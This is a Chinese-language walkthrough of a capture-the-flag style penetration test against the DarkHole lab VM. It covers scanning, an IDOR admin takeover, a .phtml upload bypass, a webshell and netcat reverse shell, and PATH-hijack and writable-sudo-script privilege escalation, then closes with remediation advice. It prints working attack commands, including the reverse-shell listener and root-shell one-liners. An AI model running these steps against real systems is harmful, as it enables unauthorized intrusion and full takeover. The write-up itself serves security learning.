本文记录一次在本地授权靶场中的完整渗透测试过程,内容仅用于网络安全学习、靶场复现与防御研究,请勿用于未授权目标。
前言
本次实验目标是一台运行在 VMware 中的 DarkHole 靶机。开始时只知道靶机位于192.168.134.0/24网段,不知道具体 IP。
整个攻击链如下:
主机探活 → 端口与服务扫描 → Web 目录枚举 → IDOR 越权接管管理员账号 → 绕过上传后缀限制 → WebShell 与反弹 Shell → 枚举 SUID 程序 → PATH 劫持获得 john 权限 → SSH 登录并发现 sudo 配置缺陷 → 覆盖 Python 脚本获得 root实验环境:
| 项目 | 信息 |
|---|---|
| 攻击机 | Kali Linux |
| 目标网段 | 192.168.134.0/24 |
| 靶机 IP | 192.168.134.148 |
| Web 服务 | HTTP / 80 |
| 远程服务 | SSH / 22 |
一、主机探活
首先对已知网段进行 Ping 扫描,枚举当前网络中的存活主机:
nmap-sP192.168.134.0/24扫描结果中发现192.168.134.148存活,结合虚拟机环境判断,这就是本次实验的目标主机。
二、端口与服务扫描
确认目标 IP 后,对其进行全端口扫描:
nmap-sS-T5-sC-p- --min-rate10000192.168.134.148参数说明:
-sS:SYN 半开放扫描,速度较快,不完成完整 TCP 三次握手。-T5:使用较快的扫描时间模板,适合本地靶场。-sC:运行 Nmap 默认脚本,对常见服务进行基础探测。-p-:扫描全部 TCP 端口,即 1~65535。--min-rate 10000:设置每秒最少发送 10000 个探测包,提高扫描速度。
扫描发现两个关键端口:
22/tcp open ssh 80/tcp open http80 端口提供 Web 服务,是当前的主要突破入口;22 端口的 SSH 服务则可能在后续拿到凭据后使用。
三、Web 目录枚举
使用dirsearch对 Web 目录和 PHP 文件进行枚举:
dirsearch-uhttp://192.168.134.148-e'*'扫描过程中发现了登录、注册和上传等相关路径,其中包括:
/register.php /login.php /upload/访问注册页面,先注册一个普通用户,再通过登录页面进入系统。
四、IDOR 越权接管管理员账号
登录普通账号后,可以看到个人资料和修改密码功能。当前普通用户的 URL 参数中出现了id=2:
http://192.168.134.148/dashboard.php?id=2普通用户的 ID 为 2,因此可以合理猜测管理员用户的 ID 很可能是 1。
点击修改密码并使用 Burp Suite 抓包,可以看到请求体中直接携带用户 ID:
POST /dashboard.php?id=2 HTTP/1.1 Host: 192.168.134.148 Content-Type: application/x-www-form-urlencoded password=222&id=2将请求中的目标 ID 修改为 1:
password=222&id=1请求成功后返回登录页面,使用修改后的凭据登录,成功进入管理员账号。管理员页面比普通用户多出了文件上传功能。
这里存在典型的 IDOR(不安全的直接对象引用)问题:服务端直接信任客户端传入的用户 ID,却没有验证当前会话是否有权修改目标账户。
五、绕过文件上传限制
管理员页面提供文件上传功能。直接尝试上传 PHP 文件时,页面提示只允许以下后缀:
jpg、png、gif在 PHP 环境中,除了.php,某些配置还可能把.phtml、.php3等后缀当作 PHP 脚本解析。因此可以使用 Burp Suite 修改上传文件名,将后缀改为.phtml。
shell.php → shell.phtml服务器返回上传成功。访问上传目录,可以看到shell.phtml已经存在:
http://192.168.134.148/upload/该问题的根因是服务器只检查了少量文件扩展名,并且上传目录仍然允许 Web 服务器解析脚本。
六、连接 WebShell
在蚁剑中配置上传后的 WebShell 地址,并填写与 WebShell 对应的连接密码:
http://192.168.134.148/upload/shell.phtml测试连接成功,说明已经能够在 Web 服务器上执行命令。
通过文件管理功能可以浏览服务器目录,当前权限落点为 Web 服务账户www-data。
七、获取反弹 Shell
WebShell 操作不如本地终端方便,因此继续获取反弹 Shell。
首先在 Kali 上监听 4444 端口:
nc-lvvp4444准备 PHP 反弹 Shell 文件,并把攻击机地址和监听端口配置为:
攻击机 IP:192.168.134.129 监听端口:4444在目标服务器上触发反弹 Shell 后,Kali 成功收到连接:
查看当前身份:
whoami输出为:
www-data为了获得更稳定的交互式终端,使用 Python 升级 PTY:
python3-c'import pty; pty.spawn("/bin/bash")'八、枚举 SUID 文件
获得本地 Shell 后,开始进行 Linux 提权枚举。首先查找具有 SUID 权限的文件:
find/-perm-u=s-typef2>/dev/null扫描结果中,大部分都是系统常见的 SUID 程序,但下面这个文件明显不是系统默认程序:
/home/john/toto进入 john 的家目录查看文件:
cd/home/johnls-la目录中还存在user.txt和password,但当前www-data用户没有读取权限:
catuser.txtcatpassword输出:
Permission denied九、利用 PATH 劫持获得 john 权限
进一步分析toto后,发现它会调用系统的id命令,但没有使用绝对路径。程序运行时会按照PATH环境变量指定的顺序搜索命令,因此可以尝试 PATH 劫持。
进入/tmp,伪造一个名为id的脚本:
cd/tmptouchidecho'/bin/bash'>idchmod777id把/tmp放到 PATH 的最前面:
exportPATH=/tmp:$PATH返回 john 的家目录并运行toto:
cd/home/john ./toto此时成功获得 john 用户上下文,可以读取之前无权访问的文件:
catuser.txtcatpassword读取结果:
user.txt:DarkHole{You_Can_Do_It} password:root123十、使用 SSH 登录 john
前面的端口扫描显示目标开放了 22 端口,因此使用获得的凭据尝试 SSH 登录:
sshjohn@192.168.134.148输入密码root123后登录成功。
验证当前用户:
whoami输出为:
john十一、利用 sudo 可写脚本提权
查看 john 拥有的 sudo 权限:
sudo-l结果显示,john 可以使用 root 权限执行下面的 Python 脚本:
/usr/bin/python3 /home/john/file.py问题在于,file.py位于 john 自己的家目录,并且当前用户可以修改它。于是将提权代码写入脚本:
echo'import os; os.system("/bin/bash")'>/home/john/file.py再使用 sudo 执行:
sudopython3 /home/john/file.py检查当前身份:
whoami输出:
root至此,提权成功。
十二、读取最终 Flag
进入 root 家目录并查看文件:
cd/rootlscatroot.txt最终 Flag:
DarkHole{You_Are_Legend}十三、漏洞链复盘
本次实验并不是依靠单一漏洞直接获得 root,而是把多个配置和权限缺陷串联在了一起。
1. IDOR 越权
服务端直接使用客户端传入的用户 ID 修改账户信息,没有确认当前会话是否有权操作目标用户。
修复建议:
- 不要仅依赖客户端传入的对象 ID。
- 每次读取或修改对象时,都进行服务端授权校验。
- 从当前登录会话中获取用户身份,而不是信任请求参数。
2. 文件上传验证不足
服务器只限制了少量扩展名,.phtml仍然可以被解析为 PHP 脚本,而且上传目录允许执行脚本。
修复建议:
- 上传文件由服务器重新命名,不保留用户提供的文件名。
- 同时检查扩展名、MIME 类型和文件真实内容。
- 上传目录与 Web 根目录隔离。
- 禁止上传目录解析 PHP、PHTML 等脚本。
- 对图片进行重新编码后再保存。
3. SUID 程序依赖可控 PATH
SUID 程序toto调用外部命令时没有使用绝对路径,使攻击者可以通过修改PATH劫持命令执行流程。
修复建议:
- 特权程序调用命令时使用绝对路径。
- 执行前清理
PATH等环境变量。 - 定期审计非系统默认的 SUID 文件。
- 尽量移除不必要的 SUID 权限。
4. sudo 执行普通用户可写脚本
john 可以用 root 权限执行/home/john/file.py,同时又能够修改该文件,相当于可以控制 root 将要执行的代码。
修复建议:
- sudo 目标脚本必须归 root 所有,普通用户不可写。
- 特权脚本应放在
/usr/local/sbin等受保护目录。 - 使用最小权限原则配置 sudoers。
- 避免允许用户通过解释器执行可控脚本。
总结
本次 DarkHole 靶场的完整攻击路径为:
192.168.134.148 → Web 普通用户 → IDOR 接管管理员 → phtml 上传绕过 → www-data WebShell → 反弹 Shell → SUID/PATH 劫持 → john → sudo 可写 Python 脚本 → root这次实验最重要的启示是:单个低危问题可能不足以导致系统失陷,但如果授权、文件上传、SUID 和 sudo 配置同时存在缺陷,攻击者就可以把一个普通 Web 入口逐步放大为 root 权限。